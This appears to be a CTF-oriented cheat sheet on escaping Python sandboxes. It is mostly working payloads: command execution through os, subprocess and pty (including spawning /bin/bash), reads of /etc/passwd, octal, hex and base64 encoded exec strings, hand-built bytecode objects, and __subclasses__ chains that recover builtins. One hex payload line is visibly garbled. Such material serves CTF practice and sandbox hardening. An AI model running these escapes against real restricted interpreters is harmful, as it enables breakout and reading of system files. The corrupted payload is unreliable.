Bypass Python sandboxes

These are some tricks to bypass python sandbox protections and execute arbitrary commands.

Command Execution Libraries

The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.popen("ls").read()

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox. Python2 input() function allows to execute python code before the program crashes.

Importing

import os
from os import *
__import__('os').system("ls")

If sysmodule is present, you can use it to access oslibrary for example:

sys.modules["os"].system("ls")

You can also import libraries and any file is using execfile() (python2):

execfile('/usr/lib/python2.7/os.py')
system('ls')

Python try to load libraries from the current directory first: python3 -c 'import sys; print(sys.path)'

Executing python code

This is really interesting if some characters are forbidden because you can use the hex/octal/B64 representation to bypass the restriction:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Compiling

In a previous example you can see how to execute any python code using the compile function. This is really interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec). Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF (for example because we don't have the compile function in the CTF).

For example, let's compile and execute manually a function that reads ./poc.py:

#Locally
def read():
    return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execut it directly
import __builtin__
mydict = {}
mydict['__builtins__'] = __builtin__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

If you cannot access eval or exec you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment call this function.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Builtins

Builtins functions of python2 Builtins functions of python3

If you can access to the__builtins__ object you can import libraries (notice that you could also use here other string representation showed in last section):

__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

When you don't have __builtins__ you are not going to be able to import anything nor even read or write files. But there is a way to take that functionality back:

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could recover __builtins__ in make eveything easier
__builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__)
__builtins__["__import__"]('os').system('ls')

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__'].__import__("os").system("ls")

Finding types

''.__class__     #<type 'str'>
str.__class__    #<type 'type'>
str.__class__('') #<type 'str'>
().__class__.__base__.__subclasses__()    #Several types
().__class__.__bases__[0].__subclasses__()#Several types

Dissecting functions

In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.

This is the function to inspect:

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

__code__ and func_code: You can access this to obtain some internal data of the function

#Get the options
dir(get_flag.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
#Get internal varnames
get_flag.func_code.co_varnames
('some_input', 'var1', 'var2', 'var3')
#Get the value of the vars
get_flag.func_code.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
#Get bytecode
get_flag.func_code.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Disassembly a function

import dis
dis.dis(get_flag)
  2           0 LOAD_CONST               1 (1)
              3 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              9 STORE_FAST               2 (var2)

  4          12 LOAD_CONST               3 ('some')
             15 LOAD_CONST               4 ('array')
             18 BUILD_LIST               2
             21 STORE_FAST               3 (var3)

  5          24 LOAD_FAST                0 (some_input)
             27 LOAD_FAST                2 (var2)
             30 COMPARE_OP               2 (==)
             33 POP_JUMP_IF_FALSE       40

  6          36 LOAD_CONST               5 ('THIS-IS-THE-FALG!')
             39 RETURN_VALUE        

  8     >>   40 LOAD_CONST               6 ('Nope')
             43 RETURN_VALUE        
             44 LOAD_CONST               0 (None)
             47 RETURN_VALUE

Notice that if you cannot import dis in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST) but you can guess them from (get_flag.func_code.co_consts) because LOAD_CONSTalso tells the offset of the variable being loaded.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
          0 LOAD_CONST          1 (1)
          3 STORE_FAST          1 (1)
          6 LOAD_CONST          2 (2)
          9 STORE_FAST          2 (2)
         12 LOAD_CONST          3 (3)
         15 LOAD_CONST          4 (4)
         18 BUILD_LIST          2
         21 STORE_FAST          3 (3)
         24 LOAD_FAST           0 (0)
         27 LOAD_FAST           2 (2)
         30 COMPARE_OP          2 (==)
         33 POP_JUMP_IF_FALSE    40
         36 LOAD_CONST          5 (5)
         39 RETURN_VALUE   
    >>   40 LOAD_CONST          6 (6)
         43 RETURN_VALUE   
         44 LOAD_CONST          0 (0)
         47 RETURN_VALUE

References

• https://lbarman.ch/blog/pyjail/

• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/

• https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/

• https://gynvael.coldwind.pl/n/python_sandbox_escape

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